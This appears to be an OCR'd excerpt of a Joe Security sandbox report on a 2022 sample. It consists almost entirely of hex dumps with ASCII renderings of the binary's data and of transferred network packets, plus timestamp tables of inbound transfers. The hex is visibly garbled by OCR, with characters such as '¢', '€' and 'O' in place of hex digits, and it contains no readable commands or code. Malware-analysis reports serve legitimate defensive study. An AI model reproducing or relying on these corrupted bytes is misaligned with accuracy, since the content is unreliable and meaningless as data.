00 6¢ 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34

Data Ascii: riptor. File possibly closed by a different thread",0)(_osfile(fh) & FOPEN)_Iseeki64f:\dd\vctools\crt_bld\se
If_64_amd64

Data Raw: 63 74 6f 72 20 64 65 6¢ 65 74 69 6e 67 20 64 65 73 74 72 75 63 74 6f 72 27 00 00 00 00 60 76 62 61 73 65 20
64 65 73 74 72 75 63 74 6f 72 27 00 00 00 00 00 00 60 73 74 72 69 6e 67 27 00 00 00 00 00 00 00 00 60 6¢ 6f 63 61 6C
207374 61 74 69 63 20 67 75 61 72 64 27 00 00 00 00 60 74 79 70 65 6f 66 27 00 00 00 00 00 00 00 00 60 76 63 61 6C
6¢ 27 00 60 76 62 74 61 62 6¢ 65 27 00 00 00 00 00 00 00 60 76 66 74 61 62 6¢ 65 27 00 00 00 5e 3d 00 00 7¢ 3d 00 00
26 3d 00 00 3c 3c 3d 00 3e 3e 3d 00 25 3d 00 00 2f 3d 00 00 2d 3d 00 00 2b 3d 00 00 2a 3d 00 00 7c 7c 00 00 26 26 00
00 7c 00 00 00 5e 00 00 00 7e 00 00 00 28 29 00 00 2¢ 00 00 00 3e 3d 00 00 3e 00 00 00 3¢ 3d 00 00 3c 00 00 00 25 00
00 00 2f 00 00 00 2d 3e 2a 00 26 00 00 00 2b 00 00 00 2d 00 00 00 2d 2d

Data Ascii: ctor deleting destructor”vbase destructor''string'local static guard"typeof*vcall"vbtable" vftable”\=|=&=
<<=>>=0p=/=-=+=*=||&&|"~(),>=><=<%/->*&+---
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Timestamp transferred Direction
2022-05-23 06:27:16 UTC 163 IN
2022-05-23 06:27:16 UTC 167 IN
2022-05-23 06:27:16 UTC 167 IN
2022-05-23 06:27:16 UTC 171 IN
2022-05-23 06:27:16 UTC 176 IN
2022-05-23 06:27:16 UTC 180 IN
2022-05-23 06:27:16 UTC 184 IN
2022-05-23 06:27:16 UTC 188 IN
2022-05-23 06:27:16 UTC 190 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 01 00 00 00 01 0d 01 00 Od 22 00 00 01 10 03 00 10 e2 Oc 70 Ob 60 00 00 01 06 02 00 06 52 02 50 11 09 01
00 09 82 00 00 70 38 00 00 01 00 00 00 31 d7 01 00 ba d7 01 00 10 13 02 00 00 00 00 00 01 04 01 00 04 42 00 00 19 2d
02 00 1b 01 bf 00 30 31 00 00 €8 05 00 00 01 17 01 00 17 42 00 00 19 23 02 00 11 01 17 00 30 31 00 00 a8 00 00 00 11
08 01 00 08 62 00 00 70 38 00 00 01 00 00 00 30 fb 01 00 70 fb 01 00 30 13 02 00 00 00 00 00 11 04 01 00 04 62 00 00
70 38 00 00 01 00 00 00 87 fc 01 00 59 fd 01 00 50 13 02 00 00 00 00 00 11 08 01 00 08 62 00 00 70 38 00 00 02 00 00
00 98 ff 01 00 24 00 02 00 70 13 02 00 00 00 00 00 23 ff 01 00 42 00 02 00 a0 13 02 00 00 00 00 00 11 09 01 00 09 82 00
00 70 38 00 00 01 00 00 00 84 00 02 00 55 01 02 00 cO 13 02 00 00 00 00

Data Ascii: "p’'RPp81B-01B#01bp80p0bp8YPbp8$p#Bp8U

Data Raw: 00 00 00 28 3b 02 80 01 00 00 00 18 3b 02 80 01 00 00 00 08 3b 02 80 01 00 00 00 f8 3a 02 80 01 00 00 00
€0 3a 02 80 01 00 00 00 c8 3a 02 80 01 00 00 00 b8 3a 02 80 01 00 00 00 a0 3a 02 80 01 00 00 00 98 3a 02 80 01 00 00
00 90 3a 02 80 01 00 00 00 88 3a 02 80 01 00 00 00 80 3a 02 80 01 00 00 00 78 3a 02 80 01 00 00 00 70 3a 02 80 01 00
00 00 68 3a 02 80 01 00 00 00 60 0d Oa

Data Ascii: (;;; x:p:h:*

Data Raw: 35 63 61 37 0d 0a 3a 02 80 01 00 00 00 58 3a 02 80 01 00 00 00 50 3a 02 80 01 00 00 00 48 3a 02 80 01 00
00 00 40 3a 02 80 01 00 00 00 30 3a 02 80 01 00 00 00 18 3a 02 80 01 00 00 00 08 3a 02 80 01 00 00 00 f8 39 02 80 01
00 00 00 78 3a 02 80 01 00 00 00 e8 39 02 80 01 00 00 00 d8 39 02 80 01 00 00 00 c8 39 02 80 01 00 00 00 b0 39 02 80
01 00 00 00 a0 39 02 80 01 00 00 00 88 39 02 80 01 00 00 00 70 39 02 80 01 00 00 00 64 39 02 80 01 00 00 00 5¢ 39 02
80 01 00 00 00 48 39 02 80 01 00 00 00 20 39 02 80 01 00 00 00 08 39 02 80 01 00 00 00 01 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: 5ca7:X:P:H:@:0:::9x:999999p9d9\9H9 99

Data Raw: 66 53 00 00 c4 98 02 00 70 53 00 00 08 5a 00 00 10 a1 02 00 10 5a 00 00 1e 5c 00 00 e4 98 02 00 70 5c 00
00 0d 62 00 00 Oc 99 02 00 10 62 00 00 37 63 00 00 2¢ 99 02 00 40 63 00 00 72 63 00 00 4c 99 02 00 80 63 00 00 d6 63
00 00 Oc 9f 02 00 e0 63 00 00 5a 66 00 00 54 99 02 00 60 66 00 00 a7 66 00 00 38 al 02 00 b0 66 00 00 fe 67 00 00 74 9
9 02 00 50 68 00 00 e4 6b 00 00 80 99 02 00 f0 6b 00 00 91 6e 00 00 a0 99 02 00 a0 6e 00 00 03 6f 00 00 b0 99 02 00 10
6f 00 00 af 6f 00 00 b8 99 02 00 b0 6f 00 00 c9 6f 00 00 Oc 9c 02 00 e0 6f 00 00 85 70 00 00 ¢8 99 02 00 90 70 00 00 ae 7
000 00 f0 99 02 00 b0 70 00 00 ¢8 70 00 00 bc 9¢ 02 00 dO 70 00 00 f5 70 00 00 f0 99 02 00 00 71 00 00 76 72 00 00 04
9c 02 00 80 72 00 00 87 74 00 00 d0 99 02 00 90 74 00 00 de 74 00

Data Ascii: fSpSZZ\p\bb7c,@crcLcccZfT ff8fgtPhkknnoooooopppppppqvrrttt

Data Raw: 37 35 3c 65 64 6b 67 65 21 7a 24 55 39 6b 2b 68 00 4e 31 6b 6a 5e 48 3c 4d 31 76 66 40 24 5f 79 69 58 50
2b 6f 2a 68 48 2a 66 5a 51 6¢ 35 76 43 35 71 6a 66 58 45 72 67 78 6a 63 43 62 34 76 5f 65 37 35 3c 65 64 6b 67 65 21
7a 0a 21 5c 13 5f 68 00 4e 57 c4 68 5e 48 2c 4d 31 76 d6 42 24 5f 7d 69 58 50 2b 6f 2a 68 48 2a 66 5a 51 6¢ 35 56 43 35
11 44 14 3c 24 06 06 78 6a d9 49 62 34 76 9f 67 37 35 30 65 64 6b d3 67 21 7a 24 55 39 6b 2b 68 00 4e 31 6b 6a le 48
3c 0d 1f 12 07 34 45 5f 79 69 c0 53 2b 6f 2a b8 4a 2a 66 5a 51 6¢ 35 76 43 35 71 6a 66 58 45 72 67 78 6a 63 43 62 74 76
5f a5 19 45 58 04 10 0a 67 65 dd 75 24 55 39 8b 29 68 00 5e 31 6b 6a 9e 4a 3c 4d 31 76 66 40 24 5f 79 69 58 50 2b 2f
2a 68 08 2a 66 5a 51 6¢ 35 76 43 35 71 6a 66 58 45 72 67 78 6a 63 43

Data Ascii: 75<edkge!z$U9k+hN1kj*H<M1vi@$_yiXP+0*hH*fZQI5vC5qjfXErgxjcCh4v_e75<edkge!z!\_hNWh"H,M1vB
$_}iXP+0*hH*ZQI5VC5D<$xjlb4vg750edkg!z$U9k+hN1kjH<4E_yiS+0*J*ZQI5vC5qjfXErgxjcChtv_EXgeu$U9)h" 1kjJ
<M1vf@$_yiXP+/*h*ZQISvC5qjfXErgxjcC

Data Raw: 40 4b 90 84 e0 90 27 dc 6d 4f Ob €9 74 6a 11 8b 2f 5¢ 48 b7 09 15 56 ef 04 00 7f f2 25 7c 78 a0 2b Oe 58 7b
€227 d3 58 ab 71 52 63 8¢ ab d2 66 d9 31 56 47 9d 78 4e 1f 3 40 52 7f 63 14 a2 60 ee 20 4f 47 ec 65 5e 04 de 75 4f 13
€3 04 6a 02 a3 d2 97 Oa 2a ff 70 ff 6¢ 87 60 7b 59 3b 01 2b 2b ee 66 4c 68 5b eb a0 41 e7 79 52 63 c2 90 ab 8c 5d cc 26
4358 eb 17 67 42 be 19 03 65 bc 71 18 45 ed 2f 43 45 69 f9 e0 4d fa a7 e7 a4 40 1b 62 3d 3d 16 ¢5 50 69 f0 3e e7 ac bc
5f 79 69 9f 15 4c c3 ¢4 61 48 92 db e9 5b 6¢ 7d fd 3e 52 39 el 13 3f 78 81 5d 7f 6a 6¢ c7 3f 37 76 5f 58 86 6¢ 3b 65 6b ef
4c 66 21 7a 19 10 9a 61 2b 67 84 4b 32 6b 6a 63 f5 8f 47 31 79 e2 a9 26 5f 79 54 ae 1f 25 6f 25 ec c5 28 66 5a 6¢ 75 d3
79 43 3a f5 da 66 58 45 4f 45 95 65 63 4c e7 93 75 5f

Data Ascii: @K'mOtj/AHV%|x+X{'XqRcfIVGXN@Rc" OGe uOj*pl{Y;++fLh[AyRc]&CXgBeqE/CEIM@b==Pi>_yiLaH[I}>R9?
x]jl?7v_Xl;ekLflza+gK2kjcGly& yT%0%(fZluyC:fXEOEecLu_

Data Raw: 21 fb 50 71 71 60 ea 6f 6¢ 25 75 4f 22 40 c1 78 69 79 b7 02 64 6¢ 59 f8 1d 7c 18 bb 94 c5 5b c3 6e 42 Oa da
2811 3ac8 7155 2aed 1c 61 3a 23 f3 2e 47 07 eb 70 52 7f 8d 3b 25 3c 65 a3 2f 43 21 4b 04 68 55 b2 27 0Of 2¢ 44 c5 d1
d3 a3 1c 5e 8e ba d0 b7 8c 44 ad 0Ob 5d 2d 33 14 0f 2b 49 el Oc Oe 22 db 25 48 71 Oe 02 7c 70 el 22 7c 01 33 64 bc 69
27 67 02 75 ff 19 6d 8f 6a 7a 61 64 82 fd 9b de 85 e3 11 1d 2b 66 b2 ca 4e 5a 2f 4e 1e 79 b5 09 15 36 e7 Oc 00 1f 47 b0
c5 bb aa 1b Oe 28 25 4d b3 b5 96 28 11 3a aa 9f 76 6a e7 14 61 3e 48 5¢ 8d 49 c2 16 10 3a c9 36 d2 1f fb 21 40 23 b1 f2
5c 7a a5 19 1d 23 92 49 44 20 f0 07 4e 16 4a b7 09 15 3e eb 4c a4 e7 da e2 76 ea ea 8e 29 el 04 Oe 2e db 25 48 7d 7d
94 d3 21 ad 22 7c 01 82 95 58 6a e2 0f 46 70 cf 07 ae 50 be 70

Data Ascii: IPgq ol%uO"@xiydlY|[nB(:qU*a:#.GpR;%<e/C!KhU',DD]-3+I"%Hq|p"|3di'gumjzad+fNZ/Ny6 G (%M(:v
ja>H\I:6!@#\z#ID NJ>Lv).%H}}!"|XjFpPp

Data Raw: 71 50 7b 08 72 46 79 €0 2a 46 01 b5 Oc 41 3f ed 09 54 1b 52 2d 7c 78 18 bd al 69 00 a9 a7 5e 10 9b c5 3f ca
7c¢ 01 69 32 7c 6d f9 a5 bb a6 af 8f 2a b7 9a 47 a2 73 11 1c 7d b5 6e 67 a2 65 5e 00 88 38 64 2b af 44 6a 11 f7 27 59 48
78 ¢6 75 52 46 Oc af 96 35 e2 8a e8 a2 64 1f 4f 09 dd 86 le 7aae 74 a7 ab 71 72 a8 27 99 ad 74 23 f1 2e 47 63 €3 40 52
7f e4 bf 3b 3c ee 20 4f 47 ec 65 5e 04 92 7d 4f 1b d8 4f c7 24 ac 6e 7a 13 26 41 68 bl 22 64 Oc c2 86 08 31 97 6f 4b 12
3252 9d 3e 9d 15 48 15 3c 6d 38 71 01 22 7c 65 61 ee 3c 4e 43 c2 26 10 56 30 ec c8 ca bd 11 40 4b dc 05 d6 7a af 11
1d 4b a2 2c 24 6e ba 27 4e 76 c3 78 69 01 45 ae 01 ad 56 be 2d 7c 70 27 b9 fe 68 89 4e 42 7a 53 ad 51 52 63 31 f0 le
42 78 13 69 5¢ 4d el 27 67 42 bd 32 7b 45 bc 79 18 5d ef 6f 43

Data Ascii: qP{rFy*FA?TR-|xi*?|i2|m*Gs}nge”8d+Dj'Y HxuRF5dOztqr't#.Gc@R;< 0Ge N O0$nz&Ah"d10K2R>H<m8q"
|lea<NC&VO@KzK,$n'NvxiEV-|p'hNBzSQRc1Bxi\M'gB2{Ey]oC

Data Raw: 36 30 38 63 0d Oa 2f 73 ca 27 e8 b1l 1a 75 4c 67 e7 65 e5 2e 77 a0 d6 85 db d4 74 7b Oa 8e ad 59 ba 26 7a e6
07 d0 89 7f 81 87 81 ce 5a fO 3¢ 48 d1 5e 7f 5¢ d0 24 db ed 1f 41 e5 70 96 84 70 69 4f e8 d7 45 f3 2a 60 a9 4d a6 ca f5 1b
47 69 b6 40 24 9c ea 61 67 a2 64 ae ed 06 e7 6b aa 2d d4 94 e6 6b 6a df 3d e8 e5 1a a9 66 87 61 4f 1e 71 c0 50 ea 02
3a 78 c9 5f 76 f4 95 eb 6e f7 36 25 d0 69 da df 82 37 b7 1e bc 81 43 e3 71 a6 23 62 8 ca bd 20 b4 86 7c 9a de fb 51 85
5f 67 cc 68 c7 0b 19 €9 Ob 64 48 bd 38 19 ba 9b 4d b4 34 3c 41 37 d9 6e 47 ab 1d 60 c5 49 43 d9 ab 70 56 56 4c 51 6a
€7 2d 65 4e 73 7b e8 e2 Oe 42 78 16 87 1e b6 40 1c f4 61 98 9c ee 64 6a ad 11 1d 5b a0 2d d4 Oa ba 26 72 1a c3 79 6d
ba 23 4e cb 69 8f f0 2d 7c 78 63 e2 6f b0 00 a3 22 7e 71 84 d5

Data Ascii: 608c/s'uLge.wt{Y&zZ<HN$AppiOE* MGi@$agdk-kj=faOqP:x_vn6%i7Caq#b |Q_ghdH8M4<A7nG'ICpVVLQj-
eNs{Bx@adj[-&rym#Ni-|xco"~q
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kBytes

Timestamp transferred Direction
2022-05-23 06:27:16 UTC 195 IN
2022-05-23 06:27:16 UTC 199 IN
2022-05-23 06:27:16 UTC 215 IN
2022-05-23 06:27:16 UTC 224 IN
2022-05-23 06:27:16 UTC 233 IN
2022-05-23 06:27:16 UTC 249 IN
2022-05-23 06:27:16 UTC 249 IN
2022-05-23 06:27:16 UTC 259 IN
2022-05-23 06:27:16 UTC 264 IN
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Data

Data Raw: fb 5¢c da 67 43 62 bf b1 16 ee 6¢ 25 75 ee 1f 73 2e ee c2 27 e7 1d b0 37 0f 60 48 c7 45 4f 7a 09 00 bf al 61 fd
€2 64 a4 5f 79 69 11 db d3 27 a1 99 c1 6e 42 7a b9 b3 91 77 43 06 b1l e3 22 7c 0d b5 23 5¢ 2a 71 0b 69 34 45 84 dd 2d
87 31 65 a3 2f 43 21 05 61 2f 55 04 98 al 6a 00 41 b5 b4 6a 5e 48 01 db 4e 72 66 4f a0 e5 79 69 58 6d 25 d1 2e 68 47
ae 96 5a 51 6¢ 08 6¢ f1 38 71 1e 71 65 3d b5 69 78 65 e6 91 62 34 76 b7 03 60 35 3¢ dd 6a d5 63 65 ca bb 3 11 1d 57
f1 18 2e 4e 88 ab 6a 5e 48 bd 09 15 4a ec ab 24 5f f8 1d 7c 6¢ ca 75 05 68 8f 6e 42 62 a7 44 cf 76 28 71 55 52 61 d1 01
56 5ff9 1e 47 7b 91 7f ac 59 a2 73 11 Oc 1a 5e 10 67 a4 4d 5e 14 58 b8 1f Of 58 fe f7 3d 6b ad 1a 6c 08 d7 7 ff 66 c1 50
7b 4d 9b 53 cd d8 ee 66 4c 7c 8e ae dO 45 ed 41 52 77 50 64

Data Ascii: \gCbl%us.'7"HEOzad_yi'nBzwC"|#\*qi4E-1e/C!a/UjAj*HNrfOyiXm%.hGZQIlI8qge=ixeb4v 5<jce W.Nj*
HJ$_|luhnBbDv(qURaV_G{Ys"gM"XX=kIfP{MSfL|EARwPd

Data Raw: 5b 8b ed 8d b2 ee 72 2d b5 20 88 ac 22 7d 86 fb e1 55 f8 06 33 60 81 Ob 29 c3 53 5e 48 bd 38 29 40 eb d7 6f
d4 3c 71 d1 15 db a8 6f 48 d8 ea c7 5a €9 e5 3e 43 64 4 14 4a 6f d9 00 52 8¢ 93 95 9c c2 17 14 9b 54 e4 74 f2 79 7d ec
9f ec 65 e0 17 3¢ 50 b2 26 33 9f el 65 fb ba 83 5d 82 fd a4 37 ff 2b 58 a5 2a 61 31 64 c8 e4 ee 5f 70 11 1c fe 95 96 29 e5
a2 7fbe 71 ab Ob 88 41 f3 12 a8 ca 91 ee 07 f3 33 77 7c 37 3b 3c a4 01 43 6b e4 6¢ 52 62 dd a8 37 aa 1d 28 cf 94 f6 96
99 0d 2c 8a ff 23 66 c1 69 4f 34 66 53 65 aa 1a 3a 45 01 8f cd db 1c 7c 7 1c Oa bd f0 1f 76 1c 62 81 f9 bf 2f b7 bl cc 3d
76 de 28 e35b c4 dc a5 ea 12 bl a9 e7 97 94 b2 2e fh el 44 6a 01 e0 2f 46 c1 78 69 19 3e eb 05 cc 1b f2 24 78 14 a0 2a
fe e31d 3aed 17 79 24 bc 32 67 15 99 b3 11 59 45

Data Ascii: [r- "}U3")S"H8) @0<gqoHZ>CdJoRTty}e<P&3e]7+X*ald_p)gA3w|7;<CkIRb7(,#{iO4fSe:E|vb/=v([.Dj/Fxi>$x*:y$2
gYE

Data Raw: 32 34 63 38 0d Oa 21 ab 41 9e b8 1e e0 4d 3b 63 31 ac 2f 91 34 9b bf 31 7 2b 8f 86 3f 58 86 99 3d e4 61 ab
1d 87 98 ¢4 50 51 ab 70 a5 02 89 c2 6a 0d 1d 96 53 ee 3d b9 a2 26 b1 31 f7 2a b6 de 73 5d 80 2c e0 22 ba 69 f3 60 71
69 23 a6 2d ff 06 b8 2f 4e 1e c3 79 9e b8 32 42 78 af 1a ae e0 1c 74 1b 27 a7 2d bf 62 ef 1e 75 44 be 33 8c 71 fa 27 ad
1c ce 37 a0 f3 27 1c ca 26 10 56 b7 26 36 34 3c a2 21 14 cb ec 47 7a af a2 f8 Oe 54 62 8b 86 8b c7 9d 5¢ 48 bd 08 4e ff
19 40 24 de Oc 16 d1 7f Oc f5 al 2d 37 ed 23 25 49 9d 8b 76 78 fd 7e 2e 94 d9 00 Od 5e 14 95 9c c2 2f 4b 4b 74 fd 21 79
b7 a6 e5 1e 18 d0 a7 c¢5 32 92 7c ac 72 a6 50 4e b0 26 ad 70 87 8e a8 b0 03 al 23 52 a8 9c e2 0d 97 a0 22 55 80 be c3
67 5a b8 03 37 76 43 f2 34 a1 80 65 01 72 e6 3d al c2 91 62 34

Data Ascii: 24c8!AM;c1/41+?X=aPQpjS=&1*s],"i qi#-/Ny2Bxt'-buD3q'7'&V&64<!GzTb\HN @$-7#%lvx~.~KKily2|
rPN&p#R"UgZ7vC4er=b4

Data Raw: 32 34 65 34 0d Oa 10 d0 19 78 62 64 ac 22 a2 46 €8 d2 55 b8 le ec df db 94 6f ea 27 99 7e 82 08 3a f7 13 87
b7 67 19 36 9f 15 ¢8 77 b2 9c 48 ab 2b b9 97 fe 16 90 c2 40 92 f0 f3 a9 a3 b5 22 b3 be b3 29 62 5f 33 94 33 be 70 7 Oe
21a052 ec 64 bl a520f26ce6bl6d89 74 a4 e8ebdd3c 26 74 b9 57 c9 61 90 f8 1c 97 da c8 ce 36 €3 0d e5 ef 1e 75
54 be 33 88 71 fa 2f 85 d3 10 b5 ec 35 8d ea 07 46 04 3e d2 20 d8 7d b5 19 40 43 2f ec 65 5e 04 bd d4 98 2b 68 Of f4 5¢
8062 99 0d e7 9e b6 56 66 f8 ad 54 4c 4e 14 dd 66 84 al 25 93 dd 87 71 9b bd dc 75 89 f4 98 6¢ ef 15 9e f3 22 a3 81 95
bc 9d b5 33 84 61 08 ca c3 e4 11 b0 8d e5 de 85 e3 10 ee a5 11 29 00 cf 74 bc 1b 37 48 3c 8c 54 al 61 c1 61 88 6d 50
58 50 aa la fd 07 df fd 46 9d 14 bf f7 f6 6a 35 fO 2f b5 49

Data Ascii: 24e4xbd"FUo'~:g6wH+@")b_33p!Rd Imt<&tWabuT3q/5F> }@C/e”+h\bVITLNf%qul"3a)t7H<TaamPXPFj5/I

Data Raw: 34 30 38 37 0d Oa 15 43 el da 6¢ 9c 4d 31 76 ef 04 00 7f 91 27 53 51 2b 2b al 1a 74 ed e2 7e d9 6¢ 35 76 16
5e 75 6a al dc 61 fa 67 78 6a 5c e4 d5 34 3a 5¢ 97 b6 bl 18 ed 64 6b 67 9f d5 85 db 66 e2 ea 9f 4c 88 4e 31 6b 53 c2 ff
3c 09 ba da 42 c8 24 5f 79 2a d3 ec c5 e7 2a 68 48 62 65 a0 da 23 15 32 ¢8 4a 6d 2e ed 3f 61 b5 e3 5c e2 63 43 62 1d
48 ee 65 7f 36 f6 29 67 91 a6 c9 05 f2 24 55 39 67 67 6b e2 06 b8 27 4e 1e c9 88 69 b9 76 66 40 37 54 79 69 d3 e4 Of e7
2a 6848 ¢3 88 5a 51 6¢ be b0 07 be 7d eb al 1c 61 46 52 a1 d0 63 fb d1 fb 57 6a ee 7b 11 08 29 67 a6 90 84 99 7f 65 45
3d 40 el b9 e9 4d fb aa 83 5b ¢1 70 69 05 fd 2a 64 10 a8 98 42 92 81 c2 6¢ e0 a9 al 2c ef 16 75 58 b4 02 67 01 ee 9a 62
58 82 36 43 40 91 a3 64 62 b5 32 7b 5d aa 23 3¢ 65 5 1f 43

Data Ascii: 4087CIM1v'SQ++t~I5v ujagxj\4:\dkgfLN1kS<B$_y**hHbe#2Jm.?a\cCbHe6)g$U9ggk'Nivi@7Tyi*hHZQI
YaFRcWj{)geE=@MI[pi*dBIl,uXgbX6C@db2{J#<eC

Data Raw: a0 4e c9 6b eb 2b 10 bf 77 77 49 ed 88 65 d4 8d e8 2d 08 08 55 94 57 c3 6f 3e 9d 14 Oc b2 c4 d5 35 4a a2 69
1c b2 19 22 18 3b ea 06 02 8¢ eb dd f2 64 b4 49 05 87 28 cf 4a e6 3f 7c 3¢ aa a6 2b e9 45 16 35 d2 6a 5e ¢3 71 15 ¢6 97
a7 aa 20 d6 2c 31 d9 25 73 b0 e0 69 48 c3 ea al ae 93 8b 73 71 3c 71 83 9b ac ba 8d a0 3d 32 7 e4 12 34 b7 32 3d 31
4 59 3d 6¢ 00 22 3d 53 f3 61 0d b8 1e 73 aa Ob e7 f9 ac 2f 3e b6 dO 5a 31 7 0d Oa

Data Ascii: Nk+wwle-UWo>5Ji";dI(J?|<+E5j"q ,1%siHsq<q=242=1Y=I"=Sas/>Z1

Data Raw: 32 36 64 63 0d Oa 13 20 fe 01 f8 9d d9 25 4b 16 27 fd bc 66 ed 17 f1 28 be 33 23 be 24 32 8e 9c b6 8d 98 c6
8d b6 4d 62 8¢ 34 5e 6a 37 8c 2a 91 60 6b €6 9b c6 af 2a 55 36 ee 8b 9c ff b1 70 €0 ac 16 c9 8 6d 30 76 66 01 7b Le 27
2804 0f 75 34 77 ab 00 a9 8a 72 1d €7 fc 9e c3 ff 71 6a e5 21 4d 32 a0 3c 4e 53 bc d1 3d 76 98 21 13 01 3f ¢7 6¢ 6b 14
62 12 ba cd fa 39 6b 2b 20 8b 5f f6 2f 4e 6e 3d 73 12 31 b7 02 64 14 51 f8 1d 7c 60 84 77 5b 7a c9 5e 42 6a 91 46 4a fc
€2 41 55 5a 44 70 96 39 ec 34 4e 53 4c d5 36 4d 9e 10 f1 79 5f 27 58 26 64 64 €6 3e 00 65 98 d9 9d 68 81 0a 15 5b 7c
43 b7 ¢3 8¢ 5d 52 56 44 a5 2b 5d 59 af a2 62 4a ab 1c 6¢ 1a 3a bl 13 49 be 32 67 05 30 53 66 2d d4 b5 23 5c 5a 5e 04
Oe 34 ce 60 a0 12 76 bd 21 40 5b ae f5 de 85 af 19 1d 5b dc 89

Data Ascii: 26dc %K'f(3#$2Mb4%7+ k*U6pmOVH{ (u4wrgjIM2<NS=v1?lkb9k+ _/Nn=s1dQ| w[z*BjFJAUZDp9I4NSL6M
y_'X&dd>eh[|CIRVD+]YbJI:12g0SH-#AZA4 VI@[[

Data Raw: 31 35 38 64 0d 0a 9d 38 69 d9 15 3b 3a 2d 97 b7 41 23 4a 5f €5 70 66 c2 40 61 59 3e 3c 9c f9 22 68 e3 26 af
a5 71 56 80 5c 87 35 84 bc d0 f4 4b e4 64 5a aa a4 ¢6 94 aa 2d 20 el 87 6b 6a df 3d 1c 53 d3 c6 66 87 61 4f 5f ee 36 50
aa 2a 3a le 87 2a 66 db 24 7c 34 78 93 74 b0 07 76 5¢ c4 07 77 7 9f 78 47 a5 71 92 9c a5 6b 35 bd 10 80 a9 55 79 d3 fb
51 bl 4c ff f1 12 ¢7 Ob 29 a3 ec 7a 48 bd 00 29 88 8b bf 5b de 3c 71 19 ec 2b 6f ab 1d 50 a2 07 51 d1 ab 70 96 8a 35 ea
6ae7 2d a5 73 6d 69 d8 e2 06 82 da 24 5f 65 b6 40 dc 58 03 el d5 a2 64 52 2f d9 0d 6b aa 1d 28 96 64 e3 46 d5 05 14
ba d0 5d ac 91 cd 5¢c b3 a8 b1 56 a2 22 02 e9 3d 02 a6 27 3c 6¢ be 33 a7 bc 35 4e 56 d3 00 62 23 f3 27 43 07 €9 71 5e
d4 30 d7 be 71 7d ed 2f 43 4d 69 7 61 bd 71 e2 6f 4c 20 a6 74

Data Ascii: 158d8i;:-A#J_pf@aY><"h&qV\5KdZ- kj=SfaO_6P*:*{$|4xtv\wxGak5UyQL)zH)[<q+oPQp5j-smi$_e@XdR
/k(dF\V"="<I35NVb#'Cq"0q}/CMiaqoL t

Data Raw: 31 38 35 32 0d 0Oa 00 bf 8e 33 ce 08 2e 2d 5f 44 44 b4 5e 2b 60 ae 6e b6 d5 99 b3 2¢ 91 ca 89 8f f9 bd 22 ef
04 61 7a 2f f1 16 47 53 37 7c fb 33 41 9e 7d bd 89 64 6a 67 65 69 f1 dd bd Oc e5 2b 68 33 8e 79 e2 2f 9d f0 60 1b 3d 76
al 05 9b c0 Ob 6f 58 6d be 4e 2d 68 47 ae a9 5a 51 6¢ 08 b7 al 3d 71 1e 3c 65 a5 e8 6d 78 1e 71 7e 3e 62 7a 5f 6a b2
la 3e 65 64 d3 a6 87 29 7a cf 80 b9 16 fc 68 48 c3 7c bc le 6e c2 2d cO 73 a6 5a 6a 53 4b 31 66 €6 90 62 d7 d5 6b b6
d5 99 5d 51 6¢ 7¢ 79 €0 5 03 61 €6 b2 24 2 9d 61 1c 60 85 63 6¢ 3e a0 a4 b7 Oc 3c 10 b4 d3 f2 44 26 7a cf cl fe 2e 54
b2 51 96 31 27 e7 1b ff 74 c0 64 al e7 05 5b 01 ef 96 a7 d1 5e 10 92 80 9f 2a ed 1f 2e €5 70 c1 84 70 Oe 0d 24 58 45 f3
12 07 d5 3b a3 5f b5 33 20 36 €2 ca c3 a4 09 14 6d e4 54 05 6d

Data Ascii: 18523.-_DD"+'n,"az/GS7|3A}djgei+h3y/’=voXmN-hGZQI=g<emxq~>bz_j>ed)zhH|n-sZjSK1fbk]Qllya$a cl>
<D&z.TQ1'td[**.pp$XE;_3 6mTm
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kBytes

Timestamp transferred Direction
2022-05-23 06:27:16 UTC 270 IN
2022-05-23 06:27:16 UTC 273 IN
2022-05-23 06:27:16 UTC 276 IN
2022-05-23 06:27:16 UTC 279 IN
2022-05-23 06:27:16 UTC 286 IN
2022-05-23 06:27:16 UTC 293 IN
2022-05-23 06:27:17 UTC 304 IN
2022-05-23 06:27:17 UTC 320 IN
2022-05-23 06:27:17 UTC 323 IN
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Data

Data Raw: 63 33 31 0d 0a 79 f1 61 4e b0 2f Of 38 8b Ob 22 e2 2e 7a 00 b7 08 16 ff 22 64 64 d4 3c 7e d1 14 0f 57 al 2d 6b
6e ed 17 5a 28 be 33 6¢ be 24 6d ef 1c 61 42 2b f1 1e 47 6b 8a 75 40 5f 65 7f be c4 2d e7 93 98 11 4e c2 5b b2 35 6b c2
c8 fd bl ce ac 2f 59 d7 e5 97 31 ce 5f ce c7 67 35 e2 9f db 66 68 dd 89 99 c0 ef Of 56 ed 78 71 30 df f2 06 e7 2d 42 0Ob fc
88 66 e2 36 65 92 78 35 05 f0 70 37 a2 Ob fd 67 e4 64 71 8b 4b c6 94 aa 1d Ob 1a b9 33 dc df 3d 37 1b c5 b1 d0 cb 71 54
f2 24 5f b8 da ae d5 97 f0O 1f cc 5d 51 51 00 dc 44 35 7e ef 5d a5 ba 8d 2b f5 6 47 f3 62 34 76 d4 a6 7e be 67 75 2d e0 14
7d 68 f1 5f 75 74 €0 58 40 49 c5 d2 36 a9 92 84 70 c6 ed 3f ef 1b 3c 16 fO 3a 48 19 a2 24 22 3d 1e 7d 27 Oc 10 3b 7d {7 af
95 71 6a 66 d3 c1 56 2f 79 6a 63 c8 de 10 2e

Data Ascii: c31yaN/8".z"dd<~W-knZ(3I$maB+Gku@_e-N[5k/Y1_g5fhVxq0-Bf6ex5p7gdqK3=7qT$_]QQD5~]+Gb4v~gu-
1h_utX@16p?<:H$"=};}qjfViyjc.

Data Raw: 62 39 35 0d Oa 65 e0 d4 4c Oc 1d b6 b9 8a ba 3e 0d d5 05 53 cc d6 b0 9b bf db de be 9e 5d 5b 2b 87 b7 97 48
2ae7 a5 ec 6f 3e 76 4c b1 f8 6a 66 58 ac c6 9b 87 95 a4 06 15 27 12 7c 65 8f 8a 00 d3 46 aa Oa 12 2b f1 69 22 ce Ba ea
8203 c7 64 1c eb 2b 3f 64 31 3b 76 al 05 4b Oa ed 11 58 d1 5e 00 db 52 fe e2 a7 3f 3e 63 b4 03 2¢ d0 95 3d 31 9f 00 15
